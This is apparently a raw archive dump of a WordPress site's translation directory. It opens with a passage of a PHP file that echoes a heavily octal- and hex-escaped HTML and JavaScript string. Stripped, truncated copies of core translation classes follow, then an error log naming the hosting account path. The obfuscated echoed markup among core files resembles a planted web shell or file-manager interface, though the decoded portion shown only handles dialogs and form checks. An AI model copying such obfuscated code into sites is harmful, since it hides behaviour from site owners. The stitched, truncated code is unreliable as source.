2c\40\x31\60\x29\x3b\xd\12\40\x20\x20\x20\x20\x20\x20\40\x7d\15\12\15\12\x20\40\40\x20\40\x20\40\40\x66\x75\x6e\x63\164\x69\157\x6e\x20\143\x6c\x6f\163\145\x44\x69\141\154\157\147\x28\x64\151\141\154\x6f\147\x49\x64\51\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x63\x6f\x6e\x73\x74\40\144\151\141\154\x6f\x67\x20\x3d\40\144\157\x63\165\x6d\145\156\164\56\147\x65\164\x45\154\x65\155\x65\x6e\164\x42\x79\x49\x64\x28\144\151\141\x6c\x6f\x67\x49\144\x29\73\15\12\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\144\x69\141\x6c\x6f\x67\56\x71\x75\x65\162\x79\123\145\x6c\145\x63\x74\157\162\50\47\x2e\x74\x72\x61\x6e\163\146\157\162\x6d\47\51\56\143\x6c\x61\163\163\x4c\x69\x73\164\56\141\x64\x64\50\47\163\x63\141\x6c\x65\x2d\x39\x35\47\51\73\15\12\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x73\145\164\124\x69\x6d\x65\157\165\x74\50\x28\51\x20\75\76\x20\x7b\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\144\x69\x61\154\x6f\x67\x2e\x63\154\141\163\x73\114\x69\163\x74\x2e\141\144\144\x28\x27\150\151\x64\144\145\x6e\47\x29\x3b\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x64\x69\x61\x6c\157\147\x2e\x63\x6c\141\x73\x73\x4c\x69\163\164\56\162\x65\155\x6f\166\145\x28\47\x66\x6c\x65\170\47\51\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\175\54\x20\x33\60\x30\51\x3b\15\12\x20\x20\x20\40\x20\40\40\40\175\15\12\15\xa\x20\x20\x20\40\40\40\x20\x20\x2f\57\40\103\x6c\151\145\156\164\55\x73\x69\144\145\x20\x66\157\162\x6d\40\x76\141\x6c\151\144\x61\164\151\x6f\x6e\15\12\x20\x20\x20\x20\x20\x20\40\40\x64\157\143\x75\x6d\x65\x6e\x74\56\x71\x75\x65\162\x79\x53\x65\x6c\145\x63\x74\x6f\x72\101\x6c\154\50\x27\x66\x6f\162\x6d\47\x29\x2e\146\157\x72\105\x61\143\x68\x28\146\157\x72\x6d\40\x3d\76\x20\x7b\15\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\146\x6f\162\x6d\x2e\141\144\x64\x45\x76\x65\x6e\164\x4c\151\x73\x74\145\156\x65\x72\x28\x27\163\165\x62\155\151\x74\47\54\x20\50\145\x29\40\75\76\x20\173\15\12\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x63\x6f\x6e\163\164\x20\151\x6e\160\165\x74\163\x20\x3d\x20\146\157\x72\x6d\56\x71\165\145\162\x79\x53\x65\154\145\x63\164\157\x72\101\154\x6c\x28\47\x69\156\160\x75\164\x5b\162\145\161\x75\151\162\x65\144\x5d\54\x20\164\145\170\x74\141\x72\x65\141\133\162\x65\x71\x75\151\162\145\144\x5d\47\51\73\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\154\x65\164\x20\166\141\x6c\151\x64\x20\75\x20\164\x72\x75\x65\73\15\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\151\x6e\x70\x75\164\x73\56\x66\157\x72\x45\141\143\150\x28\x69\156\160\x75\x74\40\x3d\76\x20\x7b\15\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x69\x66\40\x28\x21\151\x6e\160\165\x74\x2e\x76\x61\x6c\165\x65\x2e\164\x72\x69\x6d\50\51\x29\x20\x7b\xd\12\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\166\141\154\151\144\40\x3d\40\x66\x61\x6c\x73\145\73\15\12\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\151\x6e\160\165\x74\x2e\143\x6c\x61\x73\x73\x4c\x69\163\x74\56\x61\144\x64\50\47\x62\x6f\x72\144\145\x72\55\x72\145\x64\x2d\x35\60\x30\47\51\x3b\xd\xa\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x7d\40\145\154\x73\x65\x20\173\xd\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x69\x6e\160\165\x74\56\143\x6c\x61\x73\163\x4c\x69\163\164\x2e\x72\x65\155\x6f\166\145\50\47\x62\x6f\x72\x64\x65\162\55\162\145\x64\55\x35\x30\x30\47\x29\x3b\15\xa\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x7d\xd\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\175\51\x3b\15\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x69\x66\40\x28\41\166\x61\154\151\144\51\40\x7b\15\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\145\56\160\x72\x65\x76\x65\156\164\104\x65\146\141\165\154\164\50\51\73\15\xa\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\141\x6c\145\162\164\x28\47\x50\x6c\145\x61\x73\145\x20\146\151\x6c\x6c\x20\151\156\40\141\154\154\x20\162\x65\161\165\151\x72\145\144\40\x66\x69\145\154\144\163\x2e\47\x29\73\15\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\175\x29\73\15\xa\x20\40\x20\40\40\40\40\x20\x7d\x29\73\xd\xa\40\40\40\x20\x3c\57\163\143\x72\x69\x70\x74\x3e\xd\xa\x3c\57\x62\157\x64\171\x3e\xd\xa\74\57\150\x74\155\x6c\76"; ?>class-wp-translation-controller.php000064400000031253150546154110013531 0ustar00 [ Textdomain => [ ..., ... ] ] ] * * @since 6.5.0 * @var array> */ protected $loaded_translations = array(); /** * List of loaded translation files. * * [ Filename => [ Locale => [ Textdomain => WP_Translation_File ] ] ] * * @since 6.5.0 * @var array>> */ protected $loaded_files = array(); /** * Container for the main instance of the class. * * @since 6.5.0 * @var WP_Translation_Controller|null */ private static $instance = null; /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Translation_Controller */ public static function get_instance(): WP_Translation_Controller { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Returns the current locale. * * @since 6.5.0 * * @return string Locale. */ public function get_locale(): string { return $this->current_locale; } /** * Sets the current locale. * * @since 6.5.0 * * @param string $locale Locale. */ public function set_locale( string $locale ) { $this->current_locale = $locale; } /** * Loads a translation file for a given text domain. * * @since 6.5.0 * * @param string $translation_file Translation file. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True on success, false otherwise. */ public function load_file( string $translation_file, string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } $translation_file = realpath( $translation_file ); if ( false === $translation_file ) { return false; } if ( isset( $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) && false !== $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) { return null === $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ]->error(); } if ( isset( $this->loaded_files[ $translation_file ][ $locale ] ) && array() !== $this->loaded_files[ $translation_file ][ $locale ] ) { $moe = reset( $this->loaded_files[ $translation_file ][ $locale ] ); } else { $moe = WP_Translation_File::create( $translation_file ); if ( false === $moe || null !== $moe->error() ) { $moe = false; } } $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] = $moe; if ( ! $moe instanceof WP_Translation_File ) { return false; } if ( ! isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $this->loaded_translations[ $locale ][ $textdomain ] = array(); } $this->loaded_translations[ $locale ][ $textdomain ][] = $moe; return true; } /** * Unloads a translation file for a given text domain. * * @since 6.5.0 * * @param WP_Translation_File|string $file Translation file instance or file name. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_file( $file, string $textdomain = 'default', ?string $locale = null ): bool { if ( is_string( $file ) ) { $file = realpath( $file ); } if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $locale ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); return true; } } } return true; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } foreach ( $domains[ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $l ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); return true; } } } return false; } /** * Unloads all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_textdomain( string $textdomain = 'default', ?string $locale = null ): bool { $unloaded = false; if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $unloaded = true; foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); } } unset( $this->loaded_translations[ $locale ][ $textdomain ] ); return $unloaded; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } $unloaded = true; foreach ( $domains[ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); } unset( $this->loaded_translations[ $l ][ $textdomain ] ); } return $unloaded; } /** * Determines whether translations are loaded for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True if there are any loaded translations, false otherwise. */ public function is_textdomain_loaded( string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } return isset( $this->loaded_translations[ $locale ][ $textdomain ] ) && array() !== $this->loaded_translations[ $locale ][ $textdomain ]; } /** * Translates a singular string. * * @since 6.5.0 * * @param string $text Text to translate. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate( string $text, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } return $translation['entries'][0]; } /** * Translates plurals. * * Checks both singular+plural combinations as well as just singulars, * in case the translation file does not store the plural. * * @since 6.5.0 * * @param array $plurals { * Pair of singular and plural translations. * * @type string $0 Singular translation. * @type string $1 Plural translation. * } * @param int $number Number of items. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string|null $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate_plural( array $plurals, int $number, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $text = implode( "\0", $plurals ); $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { $text = $plurals[0]; $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } } /** @var WP_Translation_File $source */ $source = $translation['source']; $num = $source->get_plural_form( $number ); // See \Translations::translate_plural(). return $translation['entries'][ $num ] ?? $translation['entries'][0]; } /** * Returns all existing headers for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array Headers. */ public function get_headers( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $headers = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { foreach ( $moe->headers() as $header => $value ) { $headers[ $this->normalize_header( $header ) ] = $value; } } return $headers; } /** * Normalizes header names to be capitalized. * * @since 6.5.0 * * @param string $header Header name. * @return string Normalized header name. */ protected function normalize_header( string $header ): string { $parts = explode( '-', $header ); $parts = array_map( 'ucfirst', $parts ); return implode( '-', $parts ); } /** * Returns all entries for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array Entries. */ public function get_entries( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $entries = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { $entries = array_merge( $entries, $moe->entries() ); } return $entries; } /** * Locates translation for a given string and text domain. * * @since 6.5.0 * * @param string $singular Singular translation. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return array{source: WP_Translation_File, entries: string[]}|false { * Translations on success, false otherwise. * * @type WP_Translation_File $source Translation file instance. * @type string[] $entries Array of translation entries. * } */ protected function locate_translation( string $singular, string $textdomain = 'default', ?string $locale = null ) { if ( array() === $this->loaded_translations ) { return false; } // Find the translation in all loaded files for this text domain. foreach ( $this->get_files( $textdomain, $locale ) as $moe ) { $translation = $moe->translate( $singular ); if ( false !== $translation ) { return array( 'entries' => explode( "\0", $translation ), 'source' => $moe, ); } if ( null !== $moe->error() ) { // Unload this file, something is wrong. $this->unload_file( $moe, $textdomain, $locale ); } } // Nothing could be found. return false; } /** * Returns all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return WP_Translation_File[] List of translation files. */ protected function get_files( string $textdomain = 'default', ?string $locale = null ): array { if ( null === $locale ) { $locale = $this->current_locale; } return $this->loaded_translations[ $locale ][ $textdomain ] ?? array(); } /** * Returns a boolean to indicate whether a translation exists for a given string with optional text domain and locale. * * @since 6.7.0 * * @param string $singular Singular translation to check. * @param string $textdomain Optional. Text domain. Default 'default'. * @param ?string $locale Optional. Locale. Default current locale. * @return bool True if the translation exists, false otherwise. */ public function has_translation( string $singular, string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } return false !== $this->locate_translation( $singular, $textdomain, $locale ); } } class-wp-translation-file-php.php000064400000003425150546154160013057 0ustar00parsed = true; $result = include $this->file; if ( ! $result || ! is_array( $result ) ) { $this->error = 'Invalid data'; return; } if ( isset( $result['messages'] ) && is_array( $result['messages'] ) ) { foreach ( $result['messages'] as $original => $translation ) { $this->entries[ (string) $original ] = $translation; } unset( $result['messages'] ); } $this->headers = array_change_key_case( $result ); } /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ public function export(): string { $data = array_merge( $this->headers, array( 'messages' => $this->entries ) ); return 'var_export( $data ) . ';' . PHP_EOL; } /** * Outputs or returns a parsable string representation of a variable. * * Like {@see var_export()} but "minified", using short array syntax * and no newlines. * * @since 6.5.0 * * @param mixed $value The variable you want to export. * @return string The variable representation. */ private function var_export( $value ): string { if ( ! is_array( $value ) ) { return var_export( $value, true ); } $entries = array(); $is_list = array_is_list( $value ); foreach ( $value as $key => $val ) { $entries[] = $is_list ? $this->var_export( $val ) : var_export( $key, true ) . '=>' . $this->var_export( $val ); } return '[' . implode( ',', $entries ) . ']'; } } class-wp-translation-file.php000064400000014211150546154230012263 0ustar00 */ protected $headers = array(); /** * Whether file has been parsed. * * @since 6.5.0 * @var bool */ protected $parsed = false; /** * Error information. * * @since 6.5.0 * @var string|null Error message or null if no error. */ protected $error; /** * File name. * * @since 6.5.0 * @var string */ protected $file = ''; /** * Translation entries. * * @since 6.5.0 * @var array */ protected $entries = array(); /** * Plural forms function. * * @since 6.5.0 * @var callable|null Plural forms. */ protected $plural_forms = null; /** * Constructor. * * @since 6.5.0 * * @param string $file File to load. */ protected function __construct( string $file ) { $this->file = $file; } /** * Creates a new WP_Translation_File instance for a given file. * * @since 6.5.0 * * @param string $file File name. * @param string|null $filetype Optional. File type. Default inferred from file name. * @return false|WP_Translation_File */ public static function create( string $file, ?string $filetype = null ) { if ( ! is_readable( $file ) ) { return false; } if ( null === $filetype ) { $pos = strrpos( $file, '.' ); if ( false !== $pos ) { $filetype = substr( $file, $pos + 1 ); } } switch ( $filetype ) { case 'mo': return new WP_Translation_File_MO( $file ); case 'php': return new WP_Translation_File_PHP( $file ); default: return false; } } /** * Creates a new WP_Translation_File instance for a given file. * * @since 6.5.0 * * @param string $file Source file name. * @param string $filetype Desired target file type. * @return string|false Transformed translation file contents on success, false otherwise. */ public static function transform( string $file, string $filetype ) { $source = self::create( $file ); if ( false === $source ) { return false; } switch ( $filetype ) { case 'mo': $destination = new WP_Translation_File_MO( '' ); break; case 'php': $destination = new WP_Translation_File_PHP( '' ); break; default: return false; } $success = $destination->import( $source ); if ( ! $success ) { return false; } return $destination->export(); } /** * Returns all headers. * * @since 6.5.0 * * @return array Headers. */ public function headers(): array { if ( ! $this->parsed ) { $this->parse_file(); } return $this->headers; } /** * Returns all entries. * * @since 6.5.0 * * @return array Entries. */ public function entries(): array { if ( ! $this->parsed ) { $this->parse_file(); } return $this->entries; } /** * Returns the current error information. * * @since 6.5.0 * * @return string|null Error message or null if no error. */ public function error() { return $this->error; } /** * Returns the file name. * * @since 6.5.0 * * @return string File name. */ public function get_file(): string { return $this->file; } /** * Translates a given string. * * @since 6.5.0 * * @param string $text String to translate. * @return false|string Translation(s) on success, false otherwise. */ public function translate( string $text ) { if ( ! $this->parsed ) { $this->parse_file(); } return $this->entries[ $text ] ?? false; } /** * Returns the plural form for a given number. * * @since 6.5.0 * * @param int $number Count. * @return int Plural form. */ public function get_plural_form( int $number ): int { if ( ! $this->parsed ) { $this->parse_file(); } if ( null === $this->plural_forms && isset( $this->headers['plural-forms'] ) ) { $expression = $this->get_plural_expression_from_header( $this->headers['plural-forms'] ); $this->plural_forms = $this->make_plural_form_function( $expression ); } if ( is_callable( $this->plural_forms ) ) { /** * Plural form. * * @var int $result Plural form. */ $result = call_user_func( $this->plural_forms, $number ); return $result; } // Default plural form matches English, only "One" is considered singular. return ( 1 === $number ? 0 : 1 ); } /** * Returns the plural forms expression as a tuple. * * @since 6.5.0 * * @param string $header Plural-Forms header string. * @return string Plural forms expression. */ protected function get_plural_expression_from_header( string $header ): string { if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) { return trim( $matches[2] ); } return 'n != 1'; } /** * Makes a function, which will return the right translation index, according to the * plural forms header. * * @since 6.5.0 * * @param string $expression Plural form expression. * @return callable(int $num): int Plural forms function. */ protected function make_plural_form_function( string $expression ): callable { try { $handler = new Plural_Forms( rtrim( $expression, ';' ) ); return array( $handler, 'get' ); } catch ( Exception $e ) { // Fall back to default plural-form function. return $this->make_plural_form_function( 'n != 1' ); } } /** * Imports translations from another file. * * @since 6.5.0 * * @param WP_Translation_File $source Source file. * @return bool True on success, false otherwise. */ protected function import( WP_Translation_File $source ): bool { if ( null !== $source->error() ) { return false; } $this->headers = $source->headers(); $this->entries = $source->entries(); $this->error = $source->error(); return null === $this->error; } /** * Parses the file. * * @since 6.5.0 */ abstract protected function parse_file(); /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ abstract public function export(); } error_log000064400000010544150546154300006470 0ustar00[17-May-2025 14:29:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [17-May-2025 14:44:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [17-May-2025 19:51:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [17-May-2025 20:49:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [19-May-2025 13:22:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [19-May-2025 18:10:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [04-Jun-2025 13:32:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [04-Jun-2025 14:38:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [12-Jun-2025 22:41:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [17-Jun-2025 07:27:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [27-Jun-2025 19:33:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [27-Jun-2025 20:37:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15 [11-Jul-2025 09:10:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-mo.php on line 15 [11-Jul-2025 09:25:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_Translation_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php:15 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/l10n/class-wp-translation-file-php.php on line 15